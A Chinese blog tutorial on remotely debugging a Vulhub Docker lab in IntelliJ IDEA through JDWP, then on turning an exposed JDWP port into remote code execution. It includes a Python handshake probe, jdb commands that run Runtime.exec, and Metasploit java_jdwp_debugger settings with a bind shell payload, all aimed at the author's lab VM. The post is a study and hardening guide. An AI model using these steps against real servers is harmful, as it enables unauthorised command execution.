IDEA远程调试与JDWP调试端口RCE漏洞

news2024/11/28 2:40:23

文章目录

  • 前言
  • Docker远程调试
    • Java调试原理
    • 远程调试实践
  • JDWP端口RCE
    • 调试端口探测
    • 调试端口利用
  • 总结

前言

在对一些 Java CVE 漏洞的调试分析过程中,少不了需要搭建漏洞环境的场景,但是本地 IDEA 搭建的话既麻烦(通过 pom.xml 导入各种漏洞组件和依赖包)又不安全(容易把自己机器变成靶机了),这个时候如果能直接在虚拟机运行 Vulhub 提供的 Docker 靶场并使用物理机 IDEA 对其进行远程调试,那么这项工作就显得安全便捷了。

本文来学习下如何通过 IDEA 远程调试远程 Docker 服务的靶场环境,同时学习此类调试环境衍生的服务器安全风险——JDWP调试接口对外开放导致RCE漏洞。

Docker远程调试

Java调试原理

学习如何远程调试 Docker 容器服务之前,先来了解下 Java 调试的基本原理。本章节主要参考:使用 IDEA 快速远程调试 Docker 中运行的 Java 应用程序 (强烈推荐)。

随便起个本地 Java 项目,进行 IDEA 本地调试,可以看到如下日志:
在这里插入图片描述
Debug 大致过程如下:
在这里插入图片描述
以上过程被称为 JPDA 调用体系。JPDA(Java Platform Debugger Architecture)是 sun 公司开发的 java平台调试体系, 它主要有三个层次组成:

JPDA 组成部分核心作用
Java 虚拟机工具接口 (JVMTI)它是虚拟机的本地接口,其相当于 Thread 的 sleep、yield native 方法
Java 调试网络协议 JDWP(Java Debug Wire Protocol)描述了调试信息的格式,以及在被调试的进程(server)和调试器(client)之间传输的请求
Java 调试接口(JDI)虚拟机的高级接口,调试器(client)自己实现 JDI 接口,比如 idea 等其他编译器

综上我们知道了 IDEA 调试的原理大致如下:

  1. 先建立起了 socket 连接;
  2. 将断点位置创建了断点事件通过 JDI 接口传给了 服务端(程序端)的 JVM,JVM 调用 suspend 将 JVM 挂起;
  3. JVM 挂起之后将客户端需要获取的 JVM 信息返回给客户端,返回之后 JVM resume 恢复其运行状态;
  4. 客户端获取到 JVM 返回的信息之后可以通过不同的方式展示给客户端;

总的来说,本地调试其实也可以认为是远程调试,IDEA 通过本地随机端口与 JVM 进行 socket 通信。

远程调试指的是使用本地客户端来调试运行在远程服务器上的程序。IntelliJ IDEA 远程调试的原理是,当服务器端以调试模式运行 Java 程序时,如果客户端使用文本相同的字节码和事先约定好的端口号,就可以远程调试该 Java 程序。因此,IntelliJ IDEA 远程调试的必要条件是:

  1. Java 程序必须在服务端已经启动且在调试时正在运行;
  2. Java 程序在服务端以调试模式启动,以调试模式启动需要在运行该 Java 程序时,使用一些调试模式的 JVM 参数;
  3. 客户端使用 IntelliJ IDEA 进行调试时,使用与服务端事先约定好的相同端口号,且该端口号在服务端没有被占用;
  4. 客户端使用 IntelliJ IDEA 进行调试时,使用的代码在文本上与服务端一致。

“在文本上一致” 指的是:客户端使用的代码与服务端使用的代码的文字完全相同,如果不一致,使用的断点将不起作用。文本上一致不包括注释,但包括换行。文本上一致不需要是同一个代码源文件,只需要文本相同即可。

So 问题来了:此处由于我们希望在远程调试过程中直接引用的别人的 Docker 镜像,但咱们手上又没有构建 docker 镜像时的源代码,咱们最多只能提取 docker 容器中的 jar 包,这个能不能替代服务端源代码?答案是可以的。

回想我们平时 IDEA 引入第三方 jar 包,只要 Add as Library 操作,jar 包就被打开了,可以看到 “源代码”,并且 jar 包内的 ClassName 就可以被我们实例化调用,还可以在 jar 包的 .class 文件里打断点进行调试。所以在远程调试 Docker 镜像服务的时候,我们也可以提取 docker 容器中的 jar 包,然后到 IDEA 项目中将其 Add as Library 引入即可解决代码文本与服务端保持一致的问题。

远程调试实践

此处以 Java代码审计之SpEL表达式注入漏洞分析 一文中提到的 CVE-2022-22963 靶场环境为例,在 Ubuntu 虚拟机中借助 Vulhub 靶场集成环境快速搭建 Docker 漏洞环境服务。

【注意】请先确认物理机项目的 Java 版本与远程 Docker 服务的 Java 版本一致(大版本即可,比如 Java 1.8,至于 1.8.0_202 这类的小版本则关系不大),避免断点调试失败。

1、在 docker-compose.yml 配置映射端口让 jvm debug 端口能外部访问:
在这里插入图片描述

2、在 docker-compose.yml 中使用 command 字段添加自定义启动命令:

java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=xxxx -jar jar包名称.jar
//最终示例配置如下
command: java -jar -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=9001 /spring-cloud-function-sample-0.0.1-SNAPSHOT.jar

是不是突然发现自己不知道 jar 包名字叫啥?可以先启动容器,然后执行 docker ps --no-trunc 输出完整的容器描述,就可以看到容器名称以及容器中的路径:
在这里插入图片描述
故最后添加配置如下:
在这里插入图片描述

3、执行命令:docker cp 容器id:jar包路径 目标路径,从 Docker 容器中获取等待调试的漏洞环境 Jar 包到 Ubuntu 虚拟机桌面:
在这里插入图片描述
4、Ubuntu 虚拟机搭建 python 简易 Service,通过局域网服务将文件 jar 传递到物理机中:
在这里插入图片描述
在这里插入图片描述
5、然后,划重点!!修改了 docker-compose.yml 之后,一定要执行 docker rm -f 容器ID删除容器,并重新执行docker-compose up -d生成新的容器,才会使配置生效(本人亲身踩坑的教训……):
在这里插入图片描述
在这里插入图片描述
6、接着在物理机 IDEA 随意新建一个 Java 项目中将 spring-cloud-function-sample-0.0.1-SNAPSHOT.jar 添加到文件夹中,然后右键 jar 包,选择 Add as Lirary 将其添加到项目依赖库中:
在这里插入图片描述

【强烈推荐】实际上最简洁方便的方案是:直接新建一个空文件夹存放此 Jar 文件后,解压缩 jar 包,然后通过 IDEA 直接打开该文件夹就可以。

7、先在 uppercase() 函数打上断点:
在这里插入图片描述

8、然后在 IDEA 配置 Remote Debug:
在这里插入图片描述
9、然后 Debug 运行,发现可以成功连接上远程 9001 调试端口,如下日志信息即代表成功连接:
在这里插入图片描述
但是访问 http://192.168.51.177:8080/uppercase,却发现并无法成功拦截、调试远程程序:
在这里插入图片描述

10、参考 使用 IDEA 快速远程调试 Docker 中运行的 Java 应用程序 来看,需要通过 Project Structure-->Modules-->Dependencies 手动添加要调试的 class 文件的目录 BOOT-INF 到依赖之中:
在这里插入图片描述
在这里插入图片描述

11、重新 Restart Debug,并发送报文,发现就能成功在断点处拦截远程 Docker 服务执行了:

POST /uppercase HTTP/1.1
Host: 192.168.51.177:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 3

aaa

在这里插入图片描述
12、但是还是有问题,针对该漏洞,我们需要核心下断点的类位于 lib 文件夹下的 spring-cloud-function-web-3.3.3.jar 中,而此时的断点调试仍然无法进入第三方依赖包中,故我们尝试把 lib 文件夹复制到根目录(如果你使用我在 步骤6 中推荐的方式创建文件夹打开项目,则不需要这么麻烦地复制到根目录),并右键 Add as Library
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
不幸的是,至此发现仍然无法正常在 Spring-cloud-function-web-3.2.2.jar 依赖包 Controller 层 FunctionController.class 的 post 函数处下断点拦截、调试,原因不详(此处折腾了我一上午时间,如有大佬知情的话,辛苦留言指点下,谢谢)……
在这里插入图片描述
但是经 m0rta1 大佬指点,此时也并非 lib 目录下的所有依赖包都无法添加断点,此处可以采用“曲线救国”法,在 post 函数里的 processRequest 函数添加断点,则可以成功拦截程序:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

最后简单总结下上述远程调试 Docker 服务的步骤:

  1. docker-compose.yml 配置映射端口让 jvm debug 端口能外部访问;
  2. docker-compose.yml 中使用 command 字段添加自定义启动命令:java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=xxxx -jar jar包名称.jar
  3. 容器启动后,从容器中把运行的 jar 包复制出来,新建一个文件夹将 jar 包解压缩到里面,IDEA 点击 Open 打开这个文件夹, 选择 Add as Lirary 将 lib 依赖库统一添加到项目依赖库中,并按需在代码上打上断点;
  4. IDEA 配置 Remote Debug,点击 Debug 运行即可。

【致谢】此处万分感谢 m0rta1 大佬耐心地帮我解决上述调试过程中出现的疑惑,大佬博文质量很高,强烈推荐收藏关注!

JDWP端口RCE

前面说到了,JDWP 是 JVM 虚拟机支持的一种网络通讯协议,通过该协议,Debugger 端和被调试 JVM 之间可以进行通信,调试端可以获取被调试 JVM 的包括类、对象、线程等信息。

既然 JDWP 是为 Java 调试而设计的通讯交互协议,在渗透测试的过程中,如果遇到目标服务器不小心开启了对外暴露的 JDWP 服务,那么就可以利用 JDWP 实现连接远程服务器,实现远程代码执行。

调试端口探测

此处以跟上文运行 Docker 调试服务的 Ubuntu 虚拟机处于同一局域网的 KaliLinux 作为攻击机,来完成 JDWP 危险端口的探测和漏洞利用。

此处 Ubuntu 虚拟机继续开放了 8080 服务端口和 9001 调试端口:
在这里插入图片描述
JDWP 服务探测的原理都是一样的,即向目标端口连接后发送 JDWP-Handshake,如果目标服务直接返回一样的内容则说明是 JDWP 服务。

使用Nmap扫描

Nmap 扫描会识别到 JDWP 服务,且添加 -sV 参数则可以识别对应的 JDK 版本信息,如下所示:
在这里插入图片描述
使用 Telnet 命令探测

使用 Telnet 命令探测,需要马上输入 JDWP-Handshake,然后服务端返回一样的内容,证明是 JDWP 服务(有点费手,不推荐):

──(kali㉿kali)-[~/Desktop]
└─$ telnet 192.168.51.177 9001
Trying 192.168.51.177...
Connected to 192.168.51.177.
Escape character is '^]'.
JDWP-Handshake
JDWP-Handshake
……

Python脚本探测

使用如下脚本扫描也可以,直接连接目标服务器,并向目标发送 JDWP-Handshake,如果能接收到相同内容则说明目标是开启了 JDWP 服务:

import socket

host = "192.168.51.177"
port = 9001
try:
    client = socket.socket()
    client.connect((host, port))
    client.send(b"JDWP-Handshake")
    if client.recv(1024) == b"JDWP-Handshake":
        print("[*] {}:{} Listening JDWP Service! ".format(host, port))
except Exception as e:
    print("[-] Connection failed! ")
finally:
    client.close()

在这里插入图片描述

调试端口利用

介绍来介绍两种方法,快速将探测到的 JDWP 服务端口转换成一个远程 RCE。

利用JDB工具

jdb 是 JDK 中自带的命令行调试工具,执行如下命令连接远程 JDWP 服务:

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.51.177,port=9001

在这里插入图片描述
接下来执行threads命令查看所有线程:
在这里插入图片描述
接着需要借助 thread <线程id> 命令选中一个 sleeping(正在休眠) 的线程,接下来执行stepi命令进入该线程(可通过执行help指令得知,stepi命令用于执行当前指令,启动休眠的线程)。但是我这里显然没有正在休眠的线程,导致没法继续正常往下演示,只能选取别人的截图了……
在这里插入图片描述
接下来可以通过 print|dump|eval 命令,执行 Java 表达式从而达成命令执行:

eval java.lang.Runtime.getRuntime().exec("whoami")

在这里插入图片描述
可以看到命令是执行成功,返回了一个 Process 对象。当然还可以进一步进行反弹 shell 的操作(Payload 注意先经过编码转换)。

更多 JDB 的用法请参见:Java调试工具 jdb:深入解析应用程序调试工具jdb 。

利用MSF的漏洞利用模块

为了方便,可以直接使用 Metasploit 自带的漏洞利用模块 exploit/multi/misc/java_jdwp_debugger 进行漏洞利用:

msfconsole
msf6 > use exploit/multi/misc/java_jdwp_debugger
msf6 exploit(multi/misc/java_jdwp_debugger) > set rhosts 192.168.51.177
msf6 exploit(multi/misc/java_jdwp_debugger) > set rport 9001
msf6 exploit(multi/misc/java_jdwp_debugger) > set payload linux/x64/shell/bind_tcp 
msf6 exploit(multi/misc/java_jdwp_debugger) > run

遗憾的是,我执行 MSF 攻击 Docker 靶机也出现了反弹 shell 创建 session 异常,提示跟上面 JDB 调试利用的异常一样:“MSF 找不到适合单步执行的线程”。

应该是自身靶场环境的问题,肝了一天了,此处暂时不花时间纠结了(后续再来溯源这个问题),先看下大佬的演示图吧:
在这里插入图片描述

Github利用脚本

最后,Github 也有现成的 JDWP 端口远程漏洞利用脚本:jdwp-codeifier,这里不展开,有需要自行获取测试,使用方法已有 README 文档。

总结

本文学习了如何在物理机 IDEA 中远程调试 Ununtu 虚拟机 Vubhub 靶场集成环境搭建起来的 Docker 服务,为后续漏洞分析调试提供了一种新的手段。

同时学习 Java 调试的基本步骤原理,分析了 JDWP 调试端口如果在使用完不及时关闭且暴露在外网的话可能存在的 RCE 风险。故无论是开发人员还是安全测试、运维人员,在对 Java 服务端进行远程调试后,务必终断 JDWP 调试端口。

本文参考文章:

  1. JDWP调试接口RCE漏洞介绍;
  2. 使用 IDEA 快速远程调试 Docker 中运行的 Java 应用程序 (附解决思考过程);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1300475.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

散列卡片悬停变为整齐列表

效果展示 CSS 知识点 transform 属性运用 页面整体布局 <ul><li><div class"box"><img src"./user1.jpg" /><div class"content"><h4>Hamidah</h4><p>commented on your photo.<br />…

每日OJ题_算法_双指针④_力扣11. 盛最多水的容器

目录 力扣11. 盛最多水的容器 解析代码 力扣11. 盛最多水的容器 11. 盛最多水的容器 - 力扣&#xff08;LeetCode&#xff09; 难度 中等 给定一个长度为 n 的整数数组 height 。有 n 条垂线&#xff0c;第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两…

APP备案(Android) - 获取签名证书公钥、MD5

因为近期刚针对各应用平台对APP备案时间节点要求进行了统一整理&#xff0c;然后隔天就被要求提供一下app相关的的公钥和MD5&#xff0c;虽然很快就解决了这个事情&#xff0c;但忍不住又稍微衍生了一下&#xff0c;但行小步&#xff0c;莫问远方吧 关联Blog APP备案(Android)…

【Spring Boot 源码学习】ApplicationListener 详解

Spring Boot 源码学习系列 ApplicationListener 详解 引言往期内容主要内容1. 初识 ApplicationListener2. 加载 ApplicationListener3. 响应应用程序事件 总结 引言 书接前文《初识 SpringApplication》&#xff0c;我们从 Spring Boot 的启动类 SpringApplication 上入手&am…

harmonyOS创建低的代码开发模式项目 带你基本不写代码完成一个界面跳转的小案例

之前 我们讲了 JavaScript类Web开发模式和ArkTS开发模式 但是 有人就会说 我一点代码基础都没有 难道就不能开发鸿蒙了吗&#xff1f; 其实也是可以的 本文来讲述一下低代码开发模式 我们先打开编辑器 先创建一个项目 默认模板 直接下一步 这里配置中 我们输入名称 然后选择…

【Vulnhub 靶场】【hacksudo: ProximaCentauri】【简单 - 中等】【20210608】

1、环境介绍 靶场介绍&#xff1a;https://www.vulnhub.com/entry/hacksudo-proximacentauri,709/ 靶场下载&#xff1a;https://download.vulnhub.com/hacksudo/hacksudo-ProximaCentauri.zip 靶场难度&#xff1a;简单 - 中等 发布日期&#xff1a;2021年06月08日 文件大小&…

龙迅LT9721 MIPIDSI/CSI/HDMI桥接到TYPE-C/DP 支持高达4K30HZ的分辨率

Lontium LT9721 LT9721描述&#xff1a; Lontium LT9721是MIPI/HDMI到DP转换器&#xff0c;内部有C型替代模式开关和PD控制器。 对于MIPI DSI输入&#xff0c;LT9721具有一个单端口MIPI DSI接收器&#xff0c;具有1个时钟通道和4个数据通道&#xff0c;每个数据通道的最大运行频…

Linux基础指令详解(1)

操作系统的概念 百度百科 操作系统&#xff08;英语&#xff1a;Operating System&#xff0c;缩写&#xff1a;OS&#xff09;是一组主管并控制计算机操作、运用和运行硬件、软件资源和提供公共服务来组织用户交互的相互关联的系统软件程序。根据运行的环境&#xff0c;操作系…

【git】关于git二三事

文章目录 前言一、创建版本库1.通过命令 git init 把这个目录变成git可以管理的仓库2.将修改的内容添加到版本库2.1 git add .2.2 git commit -m "Xxxx"2.3 git status 2.4 git diff readme.txt3.版本回退3.1 git log3.2 git reset --hard HEAD^ 二、理解工作区与暂存…

西南科技大学C++程序设计实验十(函数模板与类模板)

一、实验目的 1. 掌握函数模板与类模板; 2. 掌握数组类、链表类等线性群体数据类型定义与使用; 二、实验任务 1. 分析完善以下程序,理解模板类的使用: (1)补充类模板声明语句。 (2)创建不同类型的类对象,使用时明确其数据类型? _template<typename T>__…

使用linux CentOS本地部署SQL Server数据库

&#x1f308;个人主页&#xff1a;聆风吟 &#x1f525;系列专栏&#xff1a;数据结构、Cpolar杂谈 &#x1f516;少年有梦不应止于心动&#xff0c;更要付诸行动。 文章目录 &#x1f4cb;前言一. 安装sql server二. 局域网测试连接三. 安装cpolar内网穿透四. 将sqlserver映射…

Grafana系列-Loki-基于日志实现告警

系列文章 Loki 系列文章 前言 实际应用中除了基于 Metrics 告警, 往往还有基于日志的告警需求, 可以作为基于 Metrics 告警之外的一个补充. 典型如基于 NGINX 日志的错误率告警.本文将介绍如何基于 Loki 实现基于日志的告警. 本文我们基于以下 2 类实际场景进行实战演练: …

零基础一看就会?Python实现性能自动化测试竟然如此简单

一、思考❓❔ 1.什么是性能自动化测试? 性能 系统负载能力超负荷运行下的稳定性系统瓶颈自动化测试 使用程序代替手工提升测试效率性能自动化 使用代码模拟大批量用户让用户并发请求多页面多用户并发请求采集参数&#xff0c;统计系统负载能力生成报告 2.Python中的性能自动化…

汽车网络安全--关于UN R155认证的思考

1.UN R155概述 2020年6月25日,联合国颁布了全球首个汽车网络安全强制性法规 -- UN 155,详细规定了关于评估网络安全措施的审核条款、制造商和供应商降低网络安全风险的方法以及实施风险评估的义务等。 法规适用于与信息安全相关的M类(4轮及以上载客汽车)、N类(四轮载货汽车)…

上班必备——项目部署环境

大家都知道&#xff0c;互联网行业有很多的岗位&#xff0c;前端&#xff0c;后端&#xff0c;产品&#xff0c;测试&#xff0c;ui等。 ui&#xff0c;产品和测试的同事在前端开发的过程中&#xff0c;都会时刻关注着进度&#xff0c;是要看页面效果的&#xff0c;这个时候怎…

16ASM 分段和机器码

8086CPU存储分段管理 问题1&#xff1a;8086是16位cpu&#xff0c;最多可访问&#xff08;寻址&#xff09;多大内存&#xff1f; 运算器一次最多处理16位的数据。地址寄存器的最大宽度为16位。访问的最大内存为&#xff1a;216 64K 即 0000 - FFFF。 问题2&#xff1a;808…

【Python】手把手教你用tkinter设计图书管理登录UI界面(三)

上一篇&#xff1a;【Python】手把手教你用tkinter设计图书管理登录UI界面&#xff08;二&#xff09;-CSDN博客 下一篇&#xff1a; 紧接上一篇文章&#xff0c;继续完善项目功能&#xff1a;用户登录。由于老王的注册部分有亿点点复杂&#xff0c;还没完成&#xff0c;但是…

泽攸科技桌面型扫描电子显微镜(SEM)技术解析

台式扫描电子显微镜是一种利用电子束扫描样品表面并检测样品反射或发射的电子信号&#xff0c;从而获得样品表面形貌、结构和成分信息的仪器。它的工作原理是由电子枪发出的电子束经过栅极静电聚焦后成为直径50微米的点光源&#xff0c;然后在加速电压作用下&#xff0c;经两三…

JAVA实操经验

零&#xff1a; 按照需要&#xff0c;可以使用需要某个类下&#xff08;主要是java提供的&#xff09;的方法来实现某个功能。&#xff08;主要是用在不同类下的方法会进行重写功能不同&#xff09; 方法和构造方法不同&#xff1a;方法是方法&#xff0c;构造方法是构造器&a…

[算法每日一练]-双指针 (保姆级教程篇 1) #A-B数对 #求和 #元音字母 #最短连续子数组 #无重复字符的最长子串 #最小子串覆盖 #方块桶

目录 A-B数对 解法一&#xff1a;双指针 解法二&#xff1a;STL二分查找 解法三&#xff1a;map 求和 元音字母 最短连续子数组 无重复字符的最长子串 最小子串覆盖 方块桶 双指针特点&#xff1a;双指针绝不回头 A-B数对 解法一&#xff1a;双指针 先把数列排列成…